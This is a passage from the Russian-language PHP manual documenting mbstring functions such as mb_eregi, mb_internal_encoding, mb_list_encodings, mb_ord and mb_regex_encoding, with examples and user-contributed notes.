        "Й"=>"I","Ц"=>"C","У"=>"U","К"=>"K","Е"=>"E","Н"=>"N",
        "Г"=>"G","Ш"=>"SH","Щ"=>"SH","З"=>"Z","Х"=>"X","Ъ"=>"\'",
        "Ф"=>"F","Ы"=>"I","В"=>"V","А"=>"A","П"=>"P","Р"=>"R",
        "О"=>"O","Л"=>"L","Д"=>"D","Ж"=>"ZH","Э"=>"IE","Ё"=>"E",
        "Я"=>"YA","Ч"=>"CH","С"=>"C","М"=>"M","И"=>"I","Т"=>"T",
        "Ь"=>"\'","Б"=>"B","Ю"=>"YU",
    );

    foreach($replacement as $i=>$u) {
        $st = mb_eregi_replace($i,$u,$st);
    }
    return $st;
}
?>


Поиск соответствий регулярному выражению с поддержкой многобайтовых символов без учёта регистра

  • « mb_eregi_replace
  • mb_get_info »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Поиск соответствий регулярному выражению с поддержкой многобайтовых символов без учёта регистра

mb_eregi

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_eregi — Поиск соответствий регулярному выражению с поддержкой многобайтовых символов без учёта регистра

Описание

mb_eregi(string $pattern, string $string, array &$matches = null): bool

Выполняет поиск соответствий регулярному выражению с поддержкой многобайтных символы, нечувствительный к регистру.

Список параметров

pattern

Шаблон, текст регулярного выражения.

string

Строка (string), в которой производится поиск.

matches

Если найдены совпадения для подстроки pattern, заключённой в скобки, и функция вызвана с заданным третьим аргументом matches, эти совпадения будут сохранены в массиве matches. Если подобных совпадений не найдено, matches установится как пустой массив.

$matches[1] будет содержать первую (слева) подстроку заключённую в скобки; $regs[2] - вторую, и так далее. $matches[0] будет содержать копию всей найденной строки.

Возвращаемые значения

Возвращает true если совпадение шаблона pattern найдено в string, или false, если совпадения не найдены.

Список изменений

Версия | Описание
8.0.0 | Теперь эта функция возвращает true в случае успешного выполнения. Раньше, если был задан параметр matches и было найдено вхождение pattern в строке string, возвращалась длинна найденной подстроки в байтах. Если параметр matches не задавался или длина найденной подстроки равнялась 0, функция возвращала 1.
7.1.0 | Функцию mb_eregi() устанавливает значение matches равным пустому массиву, если ничего не найдено. Ранее, в подобном случае, matches оставался неизменным.

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_ereg() - Совпадение с регулярным выражением с поддержкой многобайтовых кодировок

User Contributed Notes

lasmit at what dot com 20-Feb-2012 10:31
I simulated it:
<?php
   $text = 'Apfel';
   mb_internal_encoding( 'utf-8' );
   printf( "%d\n", mb_eregi( 'apfel', $text ) ); // Output: 0
   printf( "%d\n", mb_ereg( 'apfel', mb_strtolower( $text ) ) ); // Output: 1
   printf( "%d\n", mb_eregi( 'apfel', mb_strtolower( $text ) ) ); // Output: 1
?>
bubalula at gmail dot com 27-Aug-2010 07:44
This function does not work - it is not case insensitive for non latin characters.
steve at brainwashstudios dot com 10-Apr-2003 07:52
When this function is perfected, and is not experimental, it may be very usefull in the searching and pinpointing of places inside large text files.


Получает внутренние настройки mbstring

  • « mb_eregi
  • mb_http_input »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Получает внутренние настройки mbstring

mb_get_info

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_get_info — Получает внутренние настройки mbstring

Описание

mb_get_info(string $type = "all"): array|string|int|false

mb_get_info() возвращает внутренние параметры настроек mbstring.

Список параметров

type

Если type не указан, или указан как "all", будет возвращён массив (array), содержащий элементы "internal_encoding", "http_input", "http_output", "http_output_conv_mimetypes", "mail_charset", "mail_header_encoding", "mail_body_encoding", "illegal_chars", "encoding_translation", "language", "detect_order", "substitute_character" и "strict_detection".

Если type указан как "internal_encoding", "http_input", "http_output", "http_output_conv_mimetypes", "mail_charset", "mail_header_encoding", "mail_body_encoding", "illegal_chars", "encoding_translation", "language", "detect_order", "substitute_character" или "strict_detection", будет возвращена настройка указанного параметра.

Возвращаемые значения

Массив (array) информации о параметрах, если type не указан, в противном случае значение заданного параметра type или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | type больше не поддерживает "func_overload" и "func_overload_list".

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_http_output() - Установка/получение кодировки символов вывода HTTP

User Contributed Notes

There are no user contributed notes for this page.


Определение кодировки символов входных данных HTTP-запроса

  • « mb_get_info
  • mb_http_output »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Определение кодировки символов входных данных HTTP-запроса

mb_http_input

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_http_input — Определение кодировки символов входных данных HTTP-запроса

Описание

mb_http_input(?string $type = null): array|string|false

Определяет кодировку входных данных HTTP-запроса.

Список параметров

type

Строка запроса задаёт тип входных данных. "G" для GET запроса, "P" для POST запроса, "C" для COOKIE, "S" для строк, "L" для списка и "I" для всего вместе (будет возвращён массив (array)). Если аргумент опущен, функция вернёт последний использовавшийся тип.

Возвращаемые значения

Наименование кодировки символов для заданного типа type или массив имён символьных кодировок, если type задан как "I". Если mb_http_input() не может обработать HTTP-запрос, она вернёт false.

Список изменений

Версия | Описание
8.0.0 | type теперь может задаваться как null.

Смотрите также

  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта
  • mb_http_output() - Установка/получение кодировки символов вывода HTTP
  • mb_detect_order() - Установка/получение списка кодировок для механизмов определения кодировки

User Contributed Notes

There are no user contributed notes for this page.


Установка/получение кодировки символов вывода HTTP

  • « mb_http_input
  • mb_internal_encoding »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Установка/получение кодировки символов вывода HTTP

mb_http_output

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_http_output — Установка/получение кодировки символов вывода HTTP

Описание

mb_http_output(?string $encoding = null): string|bool

Установка/получение кодировки символов HTTP-вывода. Выходные данные после работы этой функции будут преобразованы из внутренней кодировки к encoding.

Список параметров

encoding

Если задан аргумент encoding, mb_http_output() устанавливает кодировку выходных символов HTTP в encoding.

Если аргумент encoding опущен, mb_http_output() возвращает текущую кодировку символов вывода HTTP.

Возвращаемые значения

Если аргумент encoding опущен, mb_http_output() возвращает текущую кодировку символов вывода HTTP. В противном случае, Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

Смотрите также

  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта
  • mb_http_input() - Определение кодировки символов входных данных HTTP-запроса
  • mb_detect_order() - Установка/получение списка кодировок для механизмов определения кодировки

User Contributed Notes

anders jenbo pc dk 03-Oct-2007 01:23
By default this is set to 'pass' witch means that php will not touch the encoding and output it as it is in the source file.

Normaly this function isn't needed as long as you save the .php file in the same encoding as you want it to output as well as retrive all input in the same encoding, but it don't seam to herd as long as it able to figure out what encoding the output is in in the first place.


Установка/получение внутренней кодировки скрипта

  • « mb_http_output
  • mb_language »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Установка/получение внутренней кодировки скрипта

mb_internal_encoding

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_internal_encoding — Установка/получение внутренней кодировки скрипта

Описание

mb_internal_encoding(?string $encoding = null): string|bool

Установка/получение внутренней кодировки скрипта.

Список параметров

encoding

encoding - это имя кодировки, в которую будут преобразовываться входные данные HTTP-запроса, из которой будет конвертироваться HTTP-вывод, а также это кодировка по умолчанию для всех функций, работающих со строками, определёнными в модуле mbstring. Обратите внимание, что внутренняя кодировка полностью отличается от кодировки для многобайтовых регулярных выражений.

Возвращаемые значения

Если аргумент encoding задан, то Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. В этом случае не меняется кодировка символов для многобайтных регулярных выражений. Если аргумент encoding опущен, будет возвращено имя текущей внутренней кодировки.

Ошибки

Начиная с PHP 8.0.0, выбрасывается исключение ValueError, если значение параметра encoding является недопустимой кодировкой. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.
8.0.0 | Теперь выбрасывается исключение ValueError, если значение параметра encoding является недопустимой кодировкой. Ранее вместо этого выдавалась ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования mb_internal_encoding()

<?php
/* Установка внутренней кодировки в UTF-8 */
mb_internal_encoding("UTF-8");

/* Вывод на экран текущей внутренней кодировки */
echo mb_internal_encoding();
?>

Смотрите также

  • mb_http_input() - Определение кодировки символов входных данных HTTP-запроса
  • mb_http_output() - Установка/получение кодировки символов вывода HTTP
  • mb_detect_order() - Установка/получение списка кодировок для механизмов определения кодировки
  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения

User Contributed Notes

webfav at web dot de 16-Sep-2015 12:14
all together

<?php
// ------------------------------------------------------------

header('Content-Type: text/html; CHARSET=Windows-1251');

mb_internal_encoding('UTF-8');
mb_http_output('UTF-8');
mb_http_input('UTF-8');
mb_regex_encoding('UTF-8');

// ------------------------------------------------------------
?>
Anonymous 31-May-2015 07:49
Note that mb_internal_encoding is not necessary in PHP 5.6
john leborgne 01-Aug-2012 10:18
i noticed that setting mb_internal_encoding('UTF-8') in my global site config.inc.php, doesn't work in my classes : it reverse back to ISO-8859-1.
Adding the call to the constructor of my top site class resolve this.
mdirks at gulfstreamcoach dot com 17-May-2007 08:55
In response to mortoray at ecircle-ag dot com:

The characters display fine as long as you set the Encoding to something more "Latin 1" compatible (i.e. US-ACSII, ISO-8859-1, ISO-8859-1, or  Windows 1252). PHP.net auto-detects to UTF-8
Joachim Kruyswijk 25-May-2006 12:52
Especially when writing PHP scripts for use on different servers, it is a very good idea to explicitly set the internal encoding somewhere on top of every document served, e.g.

mb_internal_encoding("UTF-8");

This, in combination with mysql-statement "SET NAMES 'utf8'", will save a lot of debugging trouble.

Also, use the multi-byte string functions instead of the ones you may be used to, e.g. mb_strlen() instead of strlen(), etc.
mortoray at ecircle-ag dot com 27-May-2005 04:10
To previous example, the PHP notes don't appear to support umlauted characters so there are question marks  (?) there instead of what should be umlauated oue.  Just substitute any high-order/accented character to see the effect.
mortoray at ecircle-ag dot com 26-May-2005 11:58
Be aware that the strings in your source files must match the encoding you specify by mb_internal_encoding.  It appears the Parser loads raw bytes from the file and refers to its internal encoding to determine their actual encoding.

To demonstrate, the following outputs as espected when the /source/ file is Latin-1 encoded:

<?php
    mb_internal_encoding("iso-8859-1");
    mb_http_output( "UTF-8" );
    ob_start("mb_output_handler");

    echo "???<br/>";

    ?>???

Now, a typical use of mb_internal_encoding is shown as follows.  Make the change to "utf-8" but leave the /source/ file encoding unchanged:

<?php
    mb_internal_encoding("UTF-8");
    mb_http_output( "UTF-8" );
    ob_start("mb_output_handler");

    echo "???<br/>";

    ?>???

The output will just show the <br/> tag and no text.

Save the file as UTF-8 encoding and then the results will be as expected.


Устанавливает/получает текущий язык

  • « mb_internal_encoding
  • mb_list_encodings »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Устанавливает/получает текущий язык

mb_language

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_language — Устанавливает/получает текущий язык

Описание

mb_language(?string $language = null): string|bool

Устанавливает/получает текущий язык.

Список параметров

language

Используется для кодирования сообщений электронной почты. Допустимые языки перечислены в следующей таблице. mb_send_mail() использует параметр для кодирования электронной почты.

Язык | Кодировка | Кодирование | Псевдоним
Немецкий язык/de (German) | ISO-8859-15 | Quoted-Printable | Немецкий язык (Deutsch)
Английский язык/en | ISO-8859-1 | Quoted-Printable
Армянский язык/hy | ArmSCII-8 | Quoted-Printable
Японский язык/ja | ISO-2022-JP | BASE64
Корейский язык/ko | ISO-2022-KR | BASE64
neutral | UTF-8 | BASE64
Русский язык/ru | KOI8-R | Quoted-Printable
Турецкий язык/tr | ISO-8859-9 | Quoted-Printable
Украинский язык/ua | KOI8-U | Quoted-Printable
uni | UTF-8 | BASE64 | Универсальный
Упрощённый китайский язык/zh-cn | HZ | BASE64
Традиционный китайский язык/zh-tw | BIG-5 | BASE64

Возвращаемые значения

Если аргумент language задан и language имеет допустимое значение, функция возвращает true. В противном случае она вернёт false. Если language опущен или равен null, функция вернёт текущее значение языка в виде строки (string).

Список изменений

Версия | Описание
8.0.0 | Теперь параметр language может принимать значение null.

Смотрите также

  • mb_send_mail() - Отправка закодированного сообщения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив всех поддерживаемых кодировок

  • « mb_language
  • mb_ord »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Возвращает массив всех поддерживаемых кодировок

mb_list_encodings

(PHP 5, PHP 7, PHP 8)

mb_list_encodings — Возвращает массив всех поддерживаемых кодировок

Описание

mb_list_encodings(): array

Возвращает массив, содержащий все поддерживаемые кодировки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает индексный массив.

Ошибки

Эта функция не порождает каких-либо ошибок.

Примеры

Пример #1 Пример использования mb_list_encodings()

<?php

print_r(mb_list_encodings());

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => pass
    [1] => auto
    [2] => wchar
    [3] => byte2be
    [4] => byte2le
    [5] => byte4be
    [6] => byte4le
    [7] => BASE64
    [8] => UUENCODE
    [9] => HTML-ENTITIES
    [10] => Quoted-Printable
    [11] => 7bit
    [12] => 8bit
    [13] => UCS-4
    [14] => UCS-4BE
    [15] => UCS-4LE
    [16] => UCS-2
    [17] => UCS-2BE
    [18] => UCS-2LE
    [19] => UTF-32
    [20] => UTF-32BE
    [21] => UTF-32LE
    [22] => UTF-16
    [23] => UTF-16BE
    [24] => UTF-16LE
    [25] => UTF-8
    [26] => UTF-7
    [27] => UTF7-IMAP
    [28] => ASCII
    [29] => EUC-JP
    [30] => SJIS
    [31] => eucJP-win
    [32] => SJIS-win
    [33] => JIS
    [34] => ISO-2022-JP
    [35] => Windows-1252
    [36] => ISO-8859-1
    [37] => ISO-8859-2
    [38] => ISO-8859-3
    [39] => ISO-8859-4
    [40] => ISO-8859-5
    [41] => ISO-8859-6
    [42] => ISO-8859-7
    [43] => ISO-8859-8
    [44] => ISO-8859-9
    [45] => ISO-8859-10
    [46] => ISO-8859-13
    [47] => ISO-8859-14
    [48] => ISO-8859-15
    [49] => EUC-CN
    [50] => CP936
    [51] => HZ
    [52] => EUC-TW
    [53] => BIG-5
    [54] => EUC-KR
    [55] => UHC
    [56] => ISO-2022-KR
    [57] => Windows-1251
    [58] => CP866
    [59] => KOI8-R
)

Смотрите также

  • mb_encoding_aliases() - Получает псевдонимы известного типа кодировки

User Contributed Notes

whittaker007 at gmail dot com 25-Jul-2021 11:53
Note that the 'auto' option no longer appears in PHP 7.4+
raat1979 at gmail dot com 13-Jan-2018 07:56
this function lists the most common names under which encodings are named,

If the one you are looking for is not in the list but does work it may be known as an alias of one of the returned encoding names

mb_encoding_aliases returns the aliases of the encoding ,
unfortunately there is no reverse way to do this (eg. no function will return 'CP936' for 'GBK')

you could list all encoding names and their known aliases by doing something like
<?php
   print_r(
        array_unique(
            array_merge(
                $enc = mb_list_encodings(),
                call_user_func_array(
                    'array_merge',
                    array_map(
                            "mb_encoding_aliases",
                            $enc
                    )
                )
            )
        )
    );
?>
Jonadabe 24-Feb-2016 09:58
print "<pre>";
print_r(mb_list_encodings());

and got this on xampp in win8.1.

Array
(
    [0] => pass
    [1] => auto
    [2] => wchar
    [3] => byte2be
    [4] => byte2le
    [5] => byte4be
    [6] => byte4le
    [7] => BASE64
    [8] => UUENCODE
    [9] => HTML-ENTITIES
    [10] => Quoted-Printable
    [11] => 7bit
    [12] => 8bit
    [13] => UCS-4
    [14] => UCS-4BE
    [15] => UCS-4LE
    [16] => UCS-2
    [17] => UCS-2BE
    [18] => UCS-2LE
    [19] => UTF-32
    [20] => UTF-32BE
    [21] => UTF-32LE
    [22] => UTF-16
    [23] => UTF-16BE
    [24] => UTF-16LE
    [25] => UTF-8
    [26] => UTF-7
    [27] => UTF7-IMAP
    [28] => ASCII
    [29] => EUC-JP
    [30] => SJIS
    [31] => eucJP-win
    [32] => EUC-JP-2004
    [33] => SJIS-win
    [34] => SJIS-Mobile#DOCOMO
    [35] => SJIS-Mobile#KDDI
    [36] => SJIS-Mobile#SOFTBANK
    [37] => SJIS-mac
    [38] => SJIS-2004
    [39] => UTF-8-Mobile#DOCOMO
    [40] => UTF-8-Mobile#KDDI-A
    [41] => UTF-8-Mobile#KDDI-B
    [42] => UTF-8-Mobile#SOFTBANK
    [43] => CP932
    [44] => CP51932
    [45] => JIS
    [46] => ISO-2022-JP
    [47] => ISO-2022-JP-MS
    [48] => GB18030
    [49] => Windows-1252
    [50] => Windows-1254
    [51] => ISO-8859-1
    [52] => ISO-8859-2
    [53] => ISO-8859-3
    [54] => ISO-8859-4
    [55] => ISO-8859-5
    [56] => ISO-8859-6
    [57] => ISO-8859-7
    [58] => ISO-8859-8
    [59] => ISO-8859-9
    [60] => ISO-8859-10
    [61] => ISO-8859-13
    [62] => ISO-8859-14
    [63] => ISO-8859-15
    [64] => ISO-8859-16
    [65] => EUC-CN
    [66] => CP936
    [67] => HZ
    [68] => EUC-TW
    [69] => BIG-5
    [70] => CP950
    [71] => EUC-KR
    [72] => UHC
    [73] => ISO-2022-KR
    [74] => Windows-1251
    [75] => CP866
    [76] => KOI8-R
    [77] => KOI8-U
    [78] => ArmSCII-8
    [79] => CP850
    [80] => JIS-ms
    [81] => ISO-2022-JP-2004
    [82] => ISO-2022-JP-MOBILE#KDDI
    [83] => CP50220
    [84] => CP50220raw
    [85] => CP50221
    [86] => CP50222
)
bronze1man at gmail dot com 17-Oct-2013 01:59
Note: Not all accept encoding name string are here.
mb_convert_encoding() accept "gbk", but it is not here.


Получает кодовую точку символа Unicode

  • « mb_list_encodings
  • mb_output_handler »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Получает кодовую точку символа Unicode

mb_ord

(PHP 7 >= 7.2.0, PHP 8)

mb_ord — Получает кодовую точку символа Unicode

Описание

mb_ord(string $string, ?string $encoding = null): int|false

Возвращает значение кодовой точки Unicode для данного символа.

Функция дополняет mb_chr().

Список параметров

string

Строка

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

Кодовая точка Unicode для первого символа string или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

Примеры

<?php
var_dump(mb_ord("A", "UTF-8"));
var_dump(mb_ord("??", "UTF-8"));
var_dump(mb_ord("\x80", "ISO-8859-1"));
var_dump(mb_ord("\x80", "Windows-1252"));
?>

Результат выполнения данного примера:

int(65)
int(128024)
int(128)
int(8364)

Смотрите также

  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта
  • mb_chr() - Возвращает символ по значению кодовой точки Unicode
  • IntlChar::ord() - Получить код символ Unicode
  • ord() - Конвертирует первый байт строки в число от 0 до 255

User Contributed Notes

Andrew 14-Mar-2020 06:40
You can forget about DIY uniord()
https://www.php.net/manual/en/function.ord.php#42778

$array['Б'] = uniord('Б');
$array['??'] = uniord('??');
$array['mb_ord Б'] = mb_ord('Б');
$array['mb_ord ??'] = mb_ord('??');

function uniord($charUTF8)
{
$charUCS4 = mb_convert_encoding($charUTF8, 'UCS-4BE', 'UTF-8');
$byte1 = ord(substr($charUCS4, 0, 1));
$byte2 = ord(substr($charUCS4, 1, 1));
$byte3 = ord(substr($charUCS4, 2, 1));
$byte4 = ord(substr($charUCS4, 3, 1));
return ($byte1 << 32) + ($byte2 << 16) + ($byte3 << 8) + $byte4;
}

var_export($array);

Shows:

array ( 'Б' => 1041, '??' => 128695, 'mb_ord Б' => 1041, 'mb_ord ??' => 128695, )

https://unicode-table.com/en/0411/
Б
Encoding     hex     dec (bytes)     dec     binary
UTF-8         D0 91     208 145     53393     11010000 10010001
UTF-16BE     04 11     4 17     1041     00000100 00010001
UTF-16LE     11 04     17 4     4356     00010001 00000100
UTF-32BE     00 00 04 11     0 0 4 17     1041     00000000 00000000 00000100 00010001
UTF-32LE     11 04 00 00     17 4 0 0     285474816     00010001 00000100 00000000 00000000

https://unicode-table.com/en/1F6B7/
??
Encoding     hex     dec (bytes)     dec     binary
UTF-8         F0 9F 9A B7     240 159 154 183     4036991671     11110000 10011111 10011010 10110111
UTF-16BE     D8 3D DE B7     216 61 222 183     3627933367     11011000 00111101 11011110 10110111
UTF-16LE     3D D8 B7 DE     61 216 183 222     1037613022     00111101 11011000 10110111 11011110
UTF-32BE     00 01 F6 B7     0 1 246 183     128695     00000000 00000001 11110110 10110111
UTF-32LE     B7 F6 01 00     183 246 1 0     3086352640     10110111 11110110 00000001 00000000


Callback-функция, преобразующая кодировку символов в выходном буфере

  • « mb_ord
  • mb_parse_str »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Callback-функция, преобразующая кодировку символов в выходном буфере

mb_output_handler

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_output_handler — Callback-функция, преобразующая кодировку символов в выходном буфере

Описание

mb_output_handler(string $string, int $status): string

mb_output_handler() является
callback-функцией функции ob_start().
mb_output_handler() преобразует символы в выходном буфере
из внутренней кодировки в кодировку HTTP-вывода.

Список параметров

string

Содержимое выходного буфера.

status

Состояние выходного буфера.

Возвращаемые значения

Преобразованная строка (string).

Примеры

Пример #1 Пример использования mb_output_handler()

<?php
mb_http_output("UTF-8");
ob_start("mb_output_handler");
?>

Примечания

Замечание:

Если вы хотите вывести двоичные данные, изображение например, необходимо передать заголовок Content-Type с помощью функции header() до того, как какие-либо двоичные данные будут переданы клиенту. (например header("Content-Type: image/png")). Если заголовок Content-Type передан, преобразование кодировок выходных символов производиться не будет.

Следует заметить, что если передан заголовок 'Content-Type: text/*', пересылаемые данные принимаются как текст, к которому будет применена конвертация символов в соответствии с настройками кодировок.

Смотрите также

  • ob_start() - Включение буферизации вывода

User Contributed Notes

There are no user contributed notes for this page.


Разбор данных запросов GET/POST/COOKIE и установка значений глобальных переменных

  • « mb_output_handler
  • mb_preferred_mime_name »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Разбор данных запросов GET/POST/COOKIE и установка значений глобальных переменных

mb_parse_str

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_parse_str — Разбор данных запросов GET/POST/COOKIE и установка значений глобальных переменных

Описание

mb_parse_str(string $string, array &$result): bool

Разбирает запросы GET/POST/COOKIE и устанавливает значения глобальных переменных. Так как PHP не работает с исходными данными POST/COOKIE, на данный момент его можно использовать только для работы с данными запроса GET. Функция разбирает строку URL, определяет кодировку, преобразует символы во внутреннюю кодировку скрипта и заносит значения переменных в массив result или в глобальные переменные.

Список параметров

string

Кодированные данные в URL.

result

Массив (array), содержащий декодированные данные и символы во внутренней кодировке скрипта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Второй параметр стал обязательным.
7.2.0 | Вызов функции mb_parse_str() без второго параметра объявлено устаревшим.

Смотрите также

  • mb_detect_order() - Установка/получение списка кодировок для механизмов определения кодировки
  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта

User Contributed Notes

kehaovista at qq dot com 23-Jan-2016 12:55
$str = 'email=kehaovista@qq.com&city=shanghai&job=Phper';
mb_parse_str($str, $result);
print_r($result);

//??
Array
(
    [email] => kehaovista@qq.com
    [city] => shanghai
    [job] => Phper
)


Получение набора символов MIME

  • « mb_parse_str
  • mb_regex_encoding »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Получение набора символов MIME

mb_preferred_mime_name

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_preferred_mime_name — Получение набора символов MIME

Описание

mb_preferred_mime_name(string $encoding): string|false

Получает строку (string) набора символов MIME для заданной кодировки.

Список параметров

encoding

Кодировка, для которой выбирается набор символов.

Возвращаемые значения

MIME-набор символов charset в виде строки (string) для кодировки encoding или false, если для заданной кодировки encoding нет предпочтительного набора символов.

Примеры

Пример #1 Пример использования mb_preferred_mime_name()

<?php
$outputenc = "sjis-win";
mb_http_output($outputenc);
ob_start("mb_output_handler");
header("Content-Type: text/html; charset=" . mb_preferred_mime_name($outputenc));
?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает/получает текущую кодировку для многобайтового регулярного выражения

  • « mb_preferred_mime_name
  • mb_regex_set_options »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Устанавливает/получает текущую кодировку для многобайтового регулярного выражения

mb_regex_encoding

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_regex_encoding — Устанавливает/получает текущую кодировку для многобайтового регулярного выражения

Описание

mb_regex_encoding(?string $encoding = null): string|bool

Устанавливает/получает текущую кодировку для многобайтового регулярного выражения.

Список параметров

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

Если задан параметр encoding, то Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. В этом случае не меняется внутренняя многобайтовая кодировка. Если параметр encoding не указан, то возвращается текущее имя кодировки символов для многобайтовых регулярных выражений.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

Смотрите также

  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта
  • mb_ereg() - Совпадение с регулярным выражением с поддержкой многобайтовых кодировок

User Contributed Notes

GerryH 16-Sep-2017 01:49
mb_ereg functionality is provided via Oniguruma RegEx library and not via PCRE. mb_regex_encoding() does only support a subset of encoding names, compared to mb_list_encodings() and mb_encoding_aliases().
Currently the following names are supported (case-insensitive):

UCS-4
UCS-4LE
UTF-32
UTF-32BE
UTF-32LE
UTF-16
UTF-16BE
UTF-16LE
UTF-8
utf8
ASCII
US-ASCII
EUC-JP
eucJP
x-euc-jp
SJIS
eucJP-win
SJIS-win
CP932
MS932
Windows-31J
ISO-8859-1
ISO-8859-2
ISO-8859-3
ISO-8859-4
ISO-8859-5
ISO-8859-6
ISO-8859-7
ISO-8859-8
ISO-8859-9
ISO-8859-10
ISO-8859-13
ISO-8859-14
ISO-8859-15
ISO-8859-16
EUC-CN
EUC_CN
eucCN
gb2312
EUC-TW
EUC_TW
eucTW
BIG-5
CN-BIG5
BIG-FIVE
BIGFIVE
EUC-KR
EUC_KR
eucKR
KOI8-R
KOI8R

The list is a mixture of base names and aliases and applies to PHP 5.4.45 (Oniguruma lib v4.7.1), PHP 5.6.31 (v5.9.5), PHP 7.0.22 (v5.9.6) and PHP 7.1.8 (v5.9.6). Be aware of the inconsistency: mb_regex_encoding() accepts for example the base name 'UTF-8' and its only alias 'utf8', but it does not accept aliases 'utf16', 'utf32' or 'latin1'.

Additionally note, that the informal name/alias 'latin9' for ISO/IEC 8859-15:1999 (including the Euro sign on 0xA4) is also not known by mb_list_encodings(). It can only be adressed as 'ISO-8859-15' or 'ISO_8859-15' and for mb_regex_encoding() solely as 'ISO-8859-15'.
code at roberthairgrove dot com 03-Aug-2017 10:19
mb_regex_encoding does not recognize CP1252 or Windows-1252 as valid encodings, although they are in the list generated by mb_list_encodings.

ISO-8859-1 (AKA "Latin-1") is supported, but it's not the same as the Windows variety of Latin-1.
php dot net at phor dot net 31-Aug-2010 01:40
Beware, mb_regex_encoding does not support the same set of encodings as listed in mb_list_encodings.php

Example:

<?php
mb_internal_encoding('CP936');
mb_regex_encoding('CP936'); # this line produces an error
 ?>
Anonymous 28-Jun-2009 10:07
To change algo the regex_encodign
<?php
echo "current mb_internal_encoding: ".mb_internal_encoding()."<br />";
echo "changing mb_internal_encoding to UTF-8<br />";
mb_internal_encoding("UTF-8");
echo "new mb_internal_encoding: ".mb_internal_encoding()."<br />";

echo "current mb_regex_encoding: ".mb_regex_encoding()."<br />";
echo "changing mb_regex_encoding to UTF-8<br />";
mb_regex_encoding('UTF-8');
echo "new mb_regex_encoding: ".mb_regex_encoding()."<br />";
?>
zl at zl dot hu 29-May-2009 06:05
Return values vary in setting and getting:

<?php
  echo mb_regex_encoding();
  // returns encoding name as a string
?>

<?php
  echo mb_regex_encoding("UTF-8");
  // returns true (success) of false as a boolean
?>


Установка/получение значений по умолчанию для настроек функций mbregex

  • « mb_regex_encoding
  • mb_scrub »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Установка/получение значений по умолчанию для настроек функций mbregex

mb_regex_set_options

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_regex_set_options — Установка/получение значений по умолчанию для настроек функций mbregex

Описание

mb_regex_set_options(?string $options = null): string

Устанавливает параметры по умолчанию, описанные в options, для функций регулярных выражений, работающих со строками в многобайтных кодировках.

Список параметров

options

Настройки, которые требуется задать. Это строка, в которой каждый символ отвечает за какую-то настройку. Для установки режима, его символ должен идти последним. Таким образом, можно задать только один режим, но несколько опций.

Настройки регулярных выражений
Настройка | Описание | Список изменений
i | Включение неоднозначных совпадений
x | Включает форму расширенного шаблона
m | '.' совпадения с переводами строк
s | '^' -> '\A', '$' -> '\Z'
p | То же, что и объединение m и s
l | Поиск совпадений, имеющих наибольшую длину
n | Игнорировать пустые совпадения
e | Вычисление кода результата функцией eval() | Объявлено устаревшим в PHP 7.1.0 и удалено в PHP 8.0.0

Замечание:

Настройка "e" не имеет эффекта при установке с помощью функции mb_regex_set_options(). Используйте её с помощью функции mb_ereg_replace() или mb_eregi_replace().

Синтаксические режимы регулярных выражений (может быть задан только один)
Режим | Описание
j | Java (Sun java.util.regex)
u | GNU regex
g | grep
c | Emacs
r | Ruby
z | Perl
b | POSIX Basic regex
d | POSIX Extended regex
